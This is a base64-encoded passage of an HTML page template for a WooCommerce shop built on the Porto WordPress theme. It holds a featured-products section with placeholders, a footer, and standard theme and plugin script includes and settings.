ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNsYXNzPSJjYXJ0LWl0ZW1zIj4wPC9zcGFuPjwvc3Bhbj48c3Bhbg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNsYXNzPSJjYXJ0LWl0ZW1zLXRleHQiPjAgaXRlbXM8L3NwYW4+PC9kaXY+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImNhcnQtcG9wdXAgd2lkZ2V0X3Nob3BwaW5nX2NhcnQiPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0id2lkZ2V0X3Nob3BwaW5nX2NhcnRfY29udGVudCI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iY2FydC1sb2FkaW5nIj48L2Rpdj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2Pg0KDQogICAgICAgICAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICAgICAgPC9kaXY+DQogICAgICAgIDwvaGVhZGVyPg0KDQogICAgPC9kaXY+DQogICAgPCEtLSBlbmQgaGVhZGVyIHdyYXBwZXIgLS0+DQoNCiAgICA8ZGl2IGNsYXNzPSJjb250ZW50LXdyYXBwZXIiPg0KDQoNCiAgICAgICAgPGRpdiBpZD0ibWFpbiIgY2xhc3M9ImNvbHVtbjEgd2lkZSBjbGVhcmZpeCBuby1icmVhZGNydW1icyI+PCEtLSBtYWluIC0tPg0KDQogICAgICAgICAgICA8ZGl2IGNsYXNzPSJjb250YWluZXItZmx1aWQiPg0KICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9InJvdyBtYWluLWNvbnRlbnQtd3JhcCI+DQoNCiAgICAgICAgICAgICAgICAgICAgPCEtLSBtYWluIGNvbnRlbnQgLS0+DQogICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9Im1haW4tY29udGVudCBjb2wtbGctMTIiPg0KDQoNCiAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgaWQ9ImNvbnRlbnQiIHJvbGU9Im1haW4iPg0KDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGFydGljbGUgY2xhc3M9InBvc3QtMTQzIHBhZ2UgdHlwZS1wYWdlIHN0YXR1cy1wdWJsaXNoIGhlbnRyeSI+DQoNCg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJwYWdlLWNvbnRlbnQiPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBkYXRhLWVsZW1lbnRvci10eXBlPSJ3cC1wYWdlIiBkYXRhLWVsZW1lbnRvci1pZD0iMTQzIg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjbGFzcz0iZWxlbWVudG9yIGVsZW1lbnRvci0xNDMiPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxzZWN0aW9uDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjbGFzcz0iZWxlbWVudG9yLXNlY3Rpb24gZWxlbWVudG9yLXRvcC1zZWN0aW9uIGVsZW1lbnRvci1lbGVtZW50IGVsZW1lbnRvci1lbGVtZW50LTQxODEzNmEgZWxlbWVudG9yLXNlY3Rpb24tZnVsbF93aWR0aCBwLXQteGwgcC1iLW1kIGVsZW1lbnRvci1zZWN0aW9uLWhlaWdodC1kZWZhdWx0IGVsZW1lbnRvci1zZWN0aW9uLWhlaWdodC1kZWZhdWx0Ig0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZGF0YS1pZD0iNDE4MTM2YSIgZGF0YS1lbGVtZW50X3R5cGU9InNlY3Rpb24iPg0KDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImVsZW1lbnRvci1jb250YWluZXIgZWxlbWVudG9yLWNvbHVtbi1nYXAtZGVmYXVsdCI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJlbGVtZW50b3ItY29sdW1uIGVsZW1lbnRvci1jb2wtMTAwIGVsZW1lbnRvci10b3AtY29sdW1uIGVsZW1lbnRvci1lbGVtZW50IGVsZW1lbnRvci1lbGVtZW50LWRkNjI4NDQiDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGRhdGEtaWQ9ImRkNjI4NDQiIGRhdGEtZWxlbWVudF90eXBlPSJjb2x1bW4iPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImVsZW1lbnRvci13aWRnZXQtd3JhcCBlbGVtZW50b3ItZWxlbWVudC1wb3B1bGF0ZWQiPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJlbGVtZW50b3ItZWxlbWVudCBlbGVtZW50b3ItZWxlbWVudC02ODIyZmJlIG1iLTQgZWxlbWVudG9yLXdpZGdldCBlbGVtZW50b3Itd2lkZ2V0LXBvcnRvX3Byb2R1Y3RzIg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGRhdGEtaWQ9IjY4MjJmYmUiIGRhdGEtZWxlbWVudF90eXBlPSJ3aWRnZXQiDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZGF0YS1zZXR0aW5ncz0ieyZxdW90O3NwYWNpbmcmcXVvdDs6eyZxdW90O3VuaXQmcXVvdDs6JnF1b3Q7cHgmcXVvdDssJnF1b3Q7c2l6ZSZxdW90OzomcXVvdDsmcXVvdDssJnF1b3Q7c2l6ZXMmcXVvdDs6W119fSINCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBkYXRhLXdpZGdldF90eXBlPSJwb3J0b19wcm9kdWN0cy5kZWZhdWx0Ij4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImVsZW1lbnRvci13aWRnZXQtY29udGFpbmVyIj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGlkPSJwb3J0by1wcm9kdWN0cy02ODgzIg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgY2xhc3M9InBvcnRvLXByb2R1Y3RzIHdwYl9jb250ZW50X2VsZW1lbnQgZGVmYXVsdCI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxoMiBjbGFzcz0ic2VjdGlvbi10aXRsZSI+RkVBVFVSRUQgUFJPRFVDVFM8L2gyPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJ3b29jb21tZXJjZSBjb2x1bW5zLTUgIj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx1bCBjbGFzcz0icHJvZHVjdHMgcHJvZHVjdHMtY29udGFpbmVyIGdyaWQgcGNvbHMtbGctNSBwY29scy1tZC00IHBjb2xzLXhzLTMgcGNvbHMtbHMtMiBwd2lkdGgtbGctNSBwd2lkdGgtbWQtNCBwd2lkdGgteHMtMyBwd2lkdGgtbHMtMiBpcy1zaG9ydGNvZGUiIGRhdGEtcHJvZHVjdF9sYXlvdXQ9InByb2R1Y3QtZGVmYXVsdCI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAge3twcm9kdWN0X2xpc3R9fQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC91bD4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9zZWN0aW9uPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvYXJ0aWNsZT4NCg0KICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+DQoNCg0KICAgICAgICAgICAgICAgICAgICA8L2Rpdj48IS0tIGVuZCBtYWluIGNvbnRlbnQgLS0+DQoNCiAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0ic2lkZWJhci1vdmVybGF5Ij48L2Rpdj4NCg0KICAgICAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICAgICAgPC9kaXY+DQoNCg0KICAgICAgICA8L2Rpdj48IS0tIGVuZCBtYWluIC0tPg0KDQoNCiAgICAgICAgPGRpdiBjbGFzcz0iZm9vdGVyLXdyYXBwZXIiPg0KDQogICAgICAgICAgICA8ZGl2IGlkPSJmb290ZXIiIGNsYXNzPSJmb290ZXIgZm9vdGVyLTMiDQogICAgICAgICAgICA+DQoNCiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJmb290ZXItYm90dG9tIj4NCiAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iY29udGFpbmVyIj4NCiAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImZvb3Rlci1sZWZ0Ij4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB7e2Zvb3Rlcl9jb3B5cmlnaHR9fQ0KICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+DQoNCiAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImZvb3Rlci1yaWdodCI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGltZyBjbGFzcz0iaW1nLXJlc3BvbnNpdmUgZm9vdGVyLXBheW1lbnQtaW1nIg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgc3JjPSIvd3AtY29udGVudC91cGxvYWRzLzIwMjAvMDEvc2hvcDEwX3BheW1lbnQtMS5wbmciIGFsdD0iUGF5bWVudCBHYXRld2F5cyIvPg0KICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+DQoNCiAgICAgICAgICAgICAgICAgICAgPC9kaXY+DQogICAgICAgICAgICAgICAgPC9kaXY+DQogICAgICAgICAgICA8L2Rpdj4NCg0KDQogICAgICAgIDwvZGl2Pg0KDQogICAgPC9kaXY+DQoNCjwvZGl2PjwhLS0gZW5kIHdyYXBwZXIgLS0+DQoNCjxkaXYgY2xhc3M9InBhbmVsLW92ZXJsYXkiPjwvZGl2Pg0KPGRpdiBpZD0ic2lkZS1uYXYtcGFuZWwiIGNsYXNzPSIiPg0KICAgIDxhIGhyZWY9IiMiIGFyaWEtbGFiZWw9Ik1vYmlsZSBDbG9zZSIgY2xhc3M9InNpZGUtbmF2LXBhbmVsLWNsb3NlIj48aSBjbGFzcz0iZmFzIGZhLXRpbWVzIj48L2k+PC9hPg0KICAgIDxkaXYgY2xhc3M9InN3aXRjaGVyLXdyYXAiPjwvZGl2Pg0KICAgIDxkaXYgY2xhc3M9Im1lbnUtd3JhcCI+PHVsIGlkPSJtZW51LW1haW4tbWVudS0xIiBjbGFzcz0ibW9iaWxlLW1lbnUgYWNjb3JkaW9uLW1lbnUiPnt7cHJvZHVjdF9jYXRlZ29yeV9tb2JpbGV9fTwvdWw+PC9kaXY+DQogICAgPGRpdiBjbGFzcz0ic2hhcmUtbGlua3MiPjxhIHRhcmdldD0iX2JsYW5rIiByZWw9Im5vZm9sbG93IG5vb3BlbmVyIG5vcmVmZXJyZXIiIGNsYXNzPSJzaGFyZS1mYWNlYm9vayIgaHJlZj0iIyINCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdGl0bGU9IkZhY2Vib29rIj48L2E+DQogICAgICAgIDxhIHRhcmdldD0iX2JsYW5rIiByZWw9Im5vZm9sbG93IG5vb3BlbmVyIG5vcmVmZXJyZXIiIGNsYXNzPSJzaGFyZS10d2l0dGVyIiBocmVmPSIjIiB0aXRsZT0iVHdpdHRlciI+PC9hPg0KICAgICAgICA8YSB0YXJnZXQ9Il9ibGFuayIgcmVsPSJub2ZvbGxvdyBub29wZW5lciBub3JlZmVycmVyIiBjbGFzcz0ic2hhcmUtaW5zdGFncmFtIiBocmVmPSIjIiB0aXRsZT0iSW5zdGFncmFtIj48L2E+DQogICAgPC9kaXY+DQo8L2Rpdj4NCg0KPHNjcmlwdD4NCiAgICB3aW5kb3cuUlNfTU9EVUxFUyA9IHdpbmRvdy5SU19NT0RVTEVTIHx8IHt9Ow0KICAgIHdpbmRvdy5SU19NT0RVTEVTLm1vZHVsZXMgPSB3aW5kb3cuUlNfTU9EVUxFUy5tb2R1bGVzIHx8IHt9Ow0KICAgIHdpbmRvdy5SU19NT0RVTEVTLndhaXRpbmcgPSB3aW5kb3cuUlNfTU9EVUxFUy53YWl0aW5nIHx8IFtdOw0KICAgIHdpbmRvdy5SU19NT0RVTEVTLmRlZmVyZWQgPSB0cnVlOw0KICAgIHdpbmRvdy5SU19NT0RVTEVTLm1vZHVsZVdhaXRpbmcgPSB3aW5kb3cuUlNfTU9EVUxFUy5tb2R1bGVXYWl0aW5nIHx8IHt9Ow0KICAgIHdpbmRvdy5SU19NT0RVTEVTLnR5cGUgPSAnY29tcGlsZWQnOw0KPC9zY3JpcHQ+DQo8c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCI+DQogICAgKGZ1bmN0aW9uICgpIHsNCiAgICAgICAgdmFyIGMgPSBkb2N1bWVudC5ib2R5LmNsYXNzTmFtZTsNCiAgICAgICAgYyA9IGMucmVwbGFjZSgvd29vY29tbWVyY2Utbm8tanMvLCAnd29vY29tbWVyY2UtanMnKTsNCiAgICAgICAgZG9jdW1lbnQuYm9keS5jbGFzc05hbWUgPSBjOw0KICAgIH0pKCk7DQo8L3NjcmlwdD4NCjxsaW5rIHJlbD0nc3R5bGVzaGVldCcgaWQ9J2UtYW5pbWF0aW9ucy1jc3MnDQogICAgICBocmVmPScvd3AtY29udGVudC9wbHVnaW5zL2VsZW1lbnRvci9hc3NldHMvbGliL2FuaW1hdGlvbnMvYW5pbWF0aW9ucy5taW4uY3NzP3Zlcj0zLjEwLjInIG1lZGlhPSdhbGwnLz4NCjxsaW5rIHJlbD0nc3R5bGVzaGVldCcgaWQ9J3JzLXBsdWdpbi1zZXR0aW5ncy1jc3MnDQogICAgICBocmVmPScvd3AtY29udGVudC9wbHVnaW5zL3JldnNsaWRlci9wdWJsaWMvYXNzZXRzL2Nzcy9yczYuY3NzP3Zlcj02LjUuMjAnIG1lZGlhPSdhbGwnLz4NCjxzdHlsZSBpZD0ncnMtcGx1Z2luLXNldHRpbmdzLWlubGluZS1jc3MnPg0KICAgICNycy1kZW1vLWlkIHsNCiAgICB9DQo8L3N0eWxlPg0KPHNjcmlwdCBzcmM9Jy93cC1jb250ZW50L3BsdWdpbnMvY29udGFjdC1mb3JtLTcvaW5jbHVkZXMvc3d2L2pzL2luZGV4LmpzP3Zlcj01LjcuMycgaWQ9J3N3di1qcyc+PC9zY3JpcHQ+DQo8c2NyaXB0IGlkPSdjb250YWN0LWZvcm0tNy1qcy1leHRyYSc+DQogICAgdmFyIHdwY2Y3ID0geyJhcGkiOiB7InJvb3QiOiAiXC93cC1qc29uXC8iLCAibmFtZXNwYWNlIjogImNvbnRhY3QtZm9ybS03XC92MSJ9fTsNCjwvc2NyaXB0Pg0KPHNjcmlwdCBzcmM9Jy93cC1jb250ZW50L3BsdWdpbnMvY29udGFjdC1mb3JtLTcvaW5jbHVkZXMvanMvaW5kZXguanM/dmVyPTUuNy4zJyBpZD0nY29udGFjdC1mb3JtLTctanMnPjwvc2NyaXB0Pg0KPHNjcmlwdCBzcmM9Jy93cC1jb250ZW50L3BsdWdpbnMvcmV2c2xpZGVyL3B1YmxpYy9hc3NldHMvanMvcmJ0b29scy5taW4uanM/dmVyPTYuNS4xOCcgZGVmZXIgYXN5bmMNCiAgICAgICAgaWQ9J3RwLXRvb2xzLWpzJz48L3NjcmlwdD4NCjxzY3JpcHQgc3JjPScvd3AtY29udGVudC9wbHVnaW5zL3JldnNsaWRlci9wdWJsaWMvYXNzZXRzL2pzL3JzNi5taW4uanM/dmVyPTYuNS4yMCcgZGVmZXIgYXN5bmMgaWQ9J3Jldm1pbi1qcyc+PC9zY3JpcHQ+DQo8c2NyaXB0IHNyYz0nL3dwLWNvbnRlbnQvcGx1Z2lucy93b29jb21tZXJjZS9hc3NldHMvanMvanF1ZXJ5LWJsb2NrdWkvanF1ZXJ5LmJsb2NrVUkubWluLmpzP3Zlcj0yLjcuMC13Yy42LjcuMCcNCiAgICAgICAgaWQ9J2pxdWVyeS1ibG9ja3VpLWpzJz48L3NjcmlwdD4NCjxzY3JpcHQgaWQ9J3djLWFkZC10by1jYXJ0LWpzLWV4dHJhJz4NCiAgICB2YXIgd2NfYWRkX3RvX2NhcnRfcGFyYW1zID0gew0KICAgICAgICAiYWpheF91cmwiOiAiXC9zYWFzLXNlb1wvYWRtaW4tYWpheC5waHAiLA0KICAgICAgICAid2NfYWpheF91cmwiOiAiXC8/d2MtYWpheD0lJWVuZHBvaW50JSUiLA0KICAgICAgICAiaTE4bl92aWV3X2NhcnQiOiAiVmlldyBjYXJ0IiwNCiAgICAgICAgImNhcnRfdXJsIjogIlwvY2FydCIsDQogICAgICAgICJpc19jYXJ0IjogIiIsDQogICAgICAgICJjYXJ0X3JlZGlyZWN0X2FmdGVyX2FkZCI6ICJubyINCiAgICB9Ow0KPC9zY3JpcHQ+DQo8c2NyaXB0IHNyYz0nL3dwLWNvbnRlbnQvcGx1Z2lucy93b29jb21tZXJjZS9hc3NldHMvanMvZnJvbnRlbmQvYWRkLXRvLWNhcnQubWluLmpzP3Zlcj02LjcuMCcNCiAgICAgICAgaWQ9J3djLWFkZC10by1jYXJ0LWpzJz48L3NjcmlwdD4NCjxzY3JpcHQgc3JjPScvd3AtY29udGVudC9wbHVnaW5zL3dvb2NvbW1lcmNlL2Fzc2V0cy9qcy9qcy1jb29raWUvanMuY29va2llLm1pbi5qcz92ZXI9Mi4xLjQtd2MuNi43LjAnDQogICAgICAgIGlkPSdqcy1jb29raWUtanMnPjwvc2NyaXB0Pg0KPHNjcmlwdCBpZD0nd29vY29tbWVyY2UtanMtZXh0cmEnPg0KICAgIHZhciB3b29jb21tZXJjZV9wYXJhbXMgPSB7ImFqYXhfdXJsIjogIlwvc2Fhcy1zZW9cL2FkbWluLWFqYXgucGhwIiwgIndjX2FqYXhfdXJsIjogIlwvP3djLWFqYXg9JSVlbmRwb2ludCUlIn07DQo8L3NjcmlwdD4NCjxzY3JpcHQgc3JjPScvd3AtY29udGVudC9wbHVnaW5zL3dvb2NvbW1lcmNlL2Fzc2V0cy9qcy9mcm9udGVuZC93b29jb21tZXJjZS5taW4uanM/dmVyPTYuNy4wJw0KICAgICAgICBpZD0nd29vY29tbWVyY2UtanMnPjwvc2NyaXB0Pg0KPHNjcmlwdCBpZD0nd2MtY2FydC1mcmFnbWVudHMtanMtZXh0cmEnPg0KICAgIHZhciB3Y19jYXJ0X2ZyYWdtZW50c19wYXJhbXMgPSB7DQogICAgICAgICJhamF4X3VybCI6ICJcL3NhYXMtc2VvXC9hZG1pbi1hamF4LnBocCIsDQogICAgICAgICJ3Y19hamF4X3VybCI6ICJcLz93Yy1hamF4PSUlZW5kcG9pbnQlJSIsDQogICAgICAgICJjYXJ0X2hhc2hfa2V5IjogIndjX2NhcnRfaGFzaF9hYjY4MTQxMTU4YjlmNmJiYjczNjdmYzA2OWFiMmNhZiIsDQogICAgICAgICJmcmFnbWVudF9uYW1lIjogIndjX2ZyYWdtZW50c19hYjY4MTQxMTU4YjlmNmJiYjczNjdmYzA2OWFiMmNhZiIsDQogICAgICAgICJyZXF1ZXN0X3RpbWVvdXQiOiAiNTAwMCINCiAgICB9Ow0KPC9zY3JpcHQ+DQo8c2NyaXB0IHNyYz0nL3dwLWNvbnRlbnQvcGx1Z2lucy93b29jb21tZXJjZS9hc3NldHMvanMvZnJvbnRlbmQvY2FydC1mcmFnbWVudHMubWluLmpzP3Zlcj02LjcuMCcNCiAgICAgICAgaWQ9J3djLWNhcnQtZnJhZ21lbnRzLWpzJz48L3NjcmlwdD4NCjxzY3JpcHQgaWQ9J3BvcnRvLWxpdmUtc2VhcmNoLWpzLWV4dHJhJz4NCiAgICB2YXIgcG9ydG9fbGl2ZV9zZWFyY2ggPSB7Im5vbmNlIjogImY4OTJkZDk0NjkifTsNCjwvc2NyaXB0Pg0KPHNjcmlwdCBzcmM9Jy93cC1jb250ZW50L3RoZW1lcy9wb3J0by9pbmMvbGliL2xpdmUtc2VhcmNoL2xpdmUtc2VhcmNoLm1pbi5qcz92ZXI9Ni43LjInDQogICAgICAgIGlkPSdwb3J0by1saXZlLXNlYXJjaC1qcyc+PC9zY3JpcHQ+DQo8c2NyaXB0IHNyYz0nL3dwLWNvbnRlbnQvdGhlbWVzL3BvcnRvL2pzL2Jvb3RzdHJhcC5qcz92ZXI9NS4wLjEnIGlkPSdib290c3RyYXAtanMnPjwvc2NyaXB0Pg0KPHNjcmlwdCBzcmM9Jy93cC1jb250ZW50L3BsdWdpbnMvd29vY29tbWVyY2UvYXNzZXRzL2pzL2pxdWVyeS1jb29raWUvanF1ZXJ5LmNvb2tpZS5taW4uanM/dmVyPTEuNC4xLXdjLjYuNy4wJw0KICAgICAgICBpZD0nanF1ZXJ5LWNvb2tpZS1qcyc+PC9zY3JpcHQ+DQo8c2NyaXB0IHNyYz0nL3dwLWNvbnRlbnQvdGhlbWVzL3BvcnRvL2pzL2xpYnMvb3dsLmNhcm91c2VsLm1pbi5qcz92ZXI9Mi4zLjQnIGlkPSdvd2wuY2Fyb3VzZWwtanMnPjwvc2NyaXB0Pg0KPHNjcmlwdCBzcmM9Jy93cC1pbmNsdWRlcy9qcy9pbWFnZXNsb2FkZWQubWluLmpzP3Zlcj00LjEuNCcgaWQ9J2ltYWdlc2xvYWRlZC1qcyc+PC9zY3JpcHQ+DQo8c2NyaXB0IGFzeW5jPSJhc3luYyIgc3JjPScvd3AtY29udGVudC90aGVtZXMvcG9ydG8vanMvbGlicy9qcXVlcnkubWFnbmlmaWMtcG9wdXAubWluLmpzP3Zlcj0xLjEuMCcNCiAgICAgICAgaWQ9J2pxdWVyeS1tYWduaWZpYy1wb3B1cC1qcyc+PC9zY3JpcHQ+DQo8c2NyaXB0IGlkPSdwb3J0by10aGVtZS1qcy1leHRyYSc+DQogICAgdmFyIGpzX3BvcnRvX3ZhcnMgPSB7DQogICAgICAgICJydGwiOiAiIiwNCiAgICAgICAgInRoZW1lX3VybCI6ICJcL3dwLWNvbnRlbnRcL3RoZW1lc1wvcG9ydG8iLA0KICAgICAgICAiYWpheF91cmwiOiAiXC9zYWFzLXNlb1wvYWRtaW4tYWpheC5waHAiLA0KICAgICAgICAiY2hhbmdlX2xvZ28iOiAiMSIsDQogICAgICAgICJjb250YWluZXJfd2lkdGgiOiAiMTE0MCIsDQogICAgICAgICJncmlkX2d1dHRlcl93aWR0aCI6ICIyMCIsDQogICAgICAgICJzaG93X3N0aWNreV9oZWFkZXIiOiAiMSIsDQogICAgICAgICJzaG93X3N0aWNreV9oZWFkZXJfdGFibGV0IjogIjEiLA0KICAgICAgICAic2hvd19zdGlja3lfaGVhZGVyX21vYmlsZSI6ICIxIiwNCiAgICAgICAgImFqYXhfbG9hZGVyX3VybCI6ICJcL3dwLWNvbnRlbnRcL3RoZW1lc1wvcG9ydG9cL2ltYWdlc1wvYWpheC1sb2FkZXJAMnguZ2lmIiwNCiAgICAgICAgImNhdGVnb3J5X2FqYXgiOiAiIiwNCiAgICAgICAgImNvbXBhcmVfcG9wdXAiOiAiIiwNCiAgICAgICAgImNvbXBhcmVfcG9wdXBfdGl0bGUiOiAiIiwNCiAgICAgICAgInByZGN0Zmx0cl9hamF4IjogIiIsDQogICAgICAgICJzbGlkZXJfbG9vcCI6ICIxIiwNCiAgICAgICAgInNsaWRlcl9hdXRvcGxheSI6ICIxIiwNCiAgICAgICAgInNsaWRlcl9hdXRvaGVpZ2h0IjogIjEiLA0KICAgICAgICAic2xpZGVyX3NwZWVkIjogIjUwMDAiLA0KICAgICAgICAic2xpZGVyX25hdiI6ICIiLA0KICAgICAgICAic2xpZGVyX25hdl9ob3ZlciI6ICIxIiwNCiAgICAgICAgInNsaWRlcl9tYXJnaW4iOiAiIiwNCiAgICAgICAgInNsaWRlcl9kb3RzIjogIjEiLA0KICAgICAgICAic2xpZGVyX2FuaW1hdGVpbiI6ICIiLA0KICAgICAgICAic2xpZGVyX2FuaW1hdGVvdXQiOiAiIiwNCiAgICAgICAgInByb2R1Y3RfdGh1bWJzX2NvdW50IjogIjQiLA0KICAgICAgICAicHJvZHVjdF96b29tIjogIjEiLA0KICAgICAgICAicHJvZHVjdF96b29tX21vYmlsZSI6ICIxIiwNCiAgICAgICAgInByb2R1Y3RfaW1hZ2VfcG9wdXAiOiAiMSIsDQogICAgICAgICJ6b29tX3R5cGUiOiAiaW5uZXIiLA0KICAgICAgICAiem9vbV9zY3JvbGwiOiAiMSIsDQogICAgICAgICJ6b29tX2xlbnNfc2l6ZSI6ICIyMDAiLA0KICAgICAgICAiem9vbV9sZW5zX3NoYXBlIjogInNxdWFyZSIsDQogICAgICAgICJ6b29tX2NvbnRhaW5fbGVucyI6ICIxIiwNCiAgICAgICAgInpvb21fbGVuc19ib3JkZXIiOiAiMSIsDQogICAgICAgICJ6b29tX2JvcmRlcl9jb2xvciI6ICIjODg4ODg4IiwNCiAgICAgICAgInpvb21fYm9yZGVyIjogIjAiLA0KICAgICAgICAic2NyZWVuX2xnIjogIjExNjAiLA0KICAgICAgICAibWZwX2NvdW50ZXIiOiAiJWN1cnIlIG9mICV0b3RhbCUiLA0KICAgICAgICAibWZwX2ltZ19lcnJvciI6ICI8YSBocmVmPVwiJXVybCVcIj5UaGUgaW1hZ2U8XC9hPiBjb3VsZCBub3QgYmUgbG9hZGVkLiIsDQogICAgICAgICJtZnBfYWpheF9lcnJvciI6ICI8YSBocmVmPVwiJXVybCVcIj5UaGUgY29udGVudDxcL2E+IGNvdWxkIG5vdCBiZSBsb2FkZWQuIiwNCiAgICAgICAgInBvcHVwX2Nsb3NlIjogIkNsb3NlIiwNCiAgICAgICAgInBvcHVwX3ByZXYiOiAiUHJldmlvdXMiLA0KICAgICAgICAicG9wdXBfbmV4dCI6ICJOZXh0IiwNCiAgICAgICAgInJlcXVlc3RfZXJyb3IiOiAiVGhlIHJlcXVlc3RlZCBjb250ZW50IGNhbm5vdCBiZSBsb2FkZWQuPGJyXC8+UGxlYXNlIHRyeSBhZ2FpbiBsYXRlci4iLA0KICAgICAgICAibG9hZGVyX3RleHQiOiAiTG9hZGluZy4uLiIsDQogICAgICAgICJzdWJtZW51X2JhY2siOiAiQmFjayIsDQogICAgICAgICJwb3J0b19ub25jZSI6ICJkOWI0MGM2NjFjIiwNCiAgICAgICAgInVzZV9za2VsZXRvbl9zY3JlZW4iOiBbInNob3AiLCAicHJvZHVjdCIsICJxdWlja3ZpZXciXSwNCiAgICAgICAgInVzZXJfZWRpdF9wYWdlcyI6ICIiLA0KICAgICAgICAicXVpY2tfYWNjZXNzIjogIkNsaWNrIHRvIGVkaXQgdGhpcyBlbGVtZW50LiIsDQogICAgICAgICJnb3RvX3R5cGUiOiAiR28gVG8gdGhlIFR5cGUgQnVpbGRlci4iLA0KICAgICAgICAibGVnYWN5X21vZGUiOiAiMSINCiAgICB9Ow0KPC9zY3JpcHQ+DQo8c2NyaXB0IHNyYz0nL3dwLWNvbnRlbnQvdGhlbWVzL3BvcnRvL2pzL3RoZW1lLmpzP3Zlcj02LjcuMicgaWQ9